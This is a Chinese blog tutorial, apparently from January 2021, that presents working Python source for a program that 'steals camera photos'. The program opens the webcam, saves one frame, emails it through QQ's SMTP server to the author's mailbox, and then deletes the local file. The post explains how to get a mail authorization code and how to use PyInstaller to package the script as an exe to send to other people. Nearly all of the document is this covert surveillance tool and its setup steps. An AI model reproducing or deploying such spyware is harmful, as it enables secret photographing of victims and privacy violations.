Posted in Python onJanuary 08, 2021
python窃取摄像头照片源码+获取授权码方法+py打包成exe
教你用python做一个属于自己的窃取摄像头照片的软件。
需要安装python3.5以上版本,在官网下载即可。
然后安装库opencv-python,安装方式为打开终端输入命令行。
可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。
import os # 删除图片文件 import cv2 # 调用摄像头拍摄照片 from smtplib import SMTP_SSL # SSL加密的 传输协议 from email.mime.text import MIMEText # 构建邮件文本 from email.mime.multipart import MIMEMultipart # 构建邮件体 from email.header import Header # 发送内容 # 调用摄像头拍摄照片 def get_photo(): cap = cv2.VideoCapture(0) # 开启摄像头 f, frame = cap.read() # 将摄像头中的一帧图片数据保存 cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件 cap.release() # 关闭摄像头 # 把图片文件发送到我的邮箱 def send_message(): # 选择QQ邮箱发送照片 host_server = 'smtp.qq.com' # QQ邮箱smtp服务器 pwd = '****************' # 授权码 from_qq_mail = 'QQ@qq.com' # 发件人 to_qq_mail = 'QQ@qq.com' # 收件人 msg = MIMEMultipart() # 创建一封带附件的邮件 msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题 msg['From'] = from_qq_mail # 发件人 msg['To'] = Header("YH", 'UTF-8') # 收件人 msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息 # 加载附件到邮箱中 SSL 方式 加密 image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8') image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据 msg.attach(image) # 附件添加 # 开始发送邮件 smtp = SMTP_SSL(host_server) # 链接服务器 smtp .login(from_qq_mail, pwd) # 登录邮箱 smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱 smtp.quit() # 退出 if __name__ == '__main__': get_photo() # 开启摄像头获取照片 send_message() # 发送照片 os.remove('image.jpg') # 删除本地照片
获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。
打包方法:
1.先安装pyinstaller,在终端中输入pip install pyinstaller即可。
2.找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。
3.
打包,输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件。
在dist文件夹里面即可找到可执行文件。
最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
到此这篇关于python 窃取摄像头照片的实现示例的文章就介绍到这了,更多相关python 窃取摄像头照片内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!
python 窃取摄像头照片的实现示例
- Author -
Meteoryh1111声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。
Reply on: @reply_date@
@reply_contents@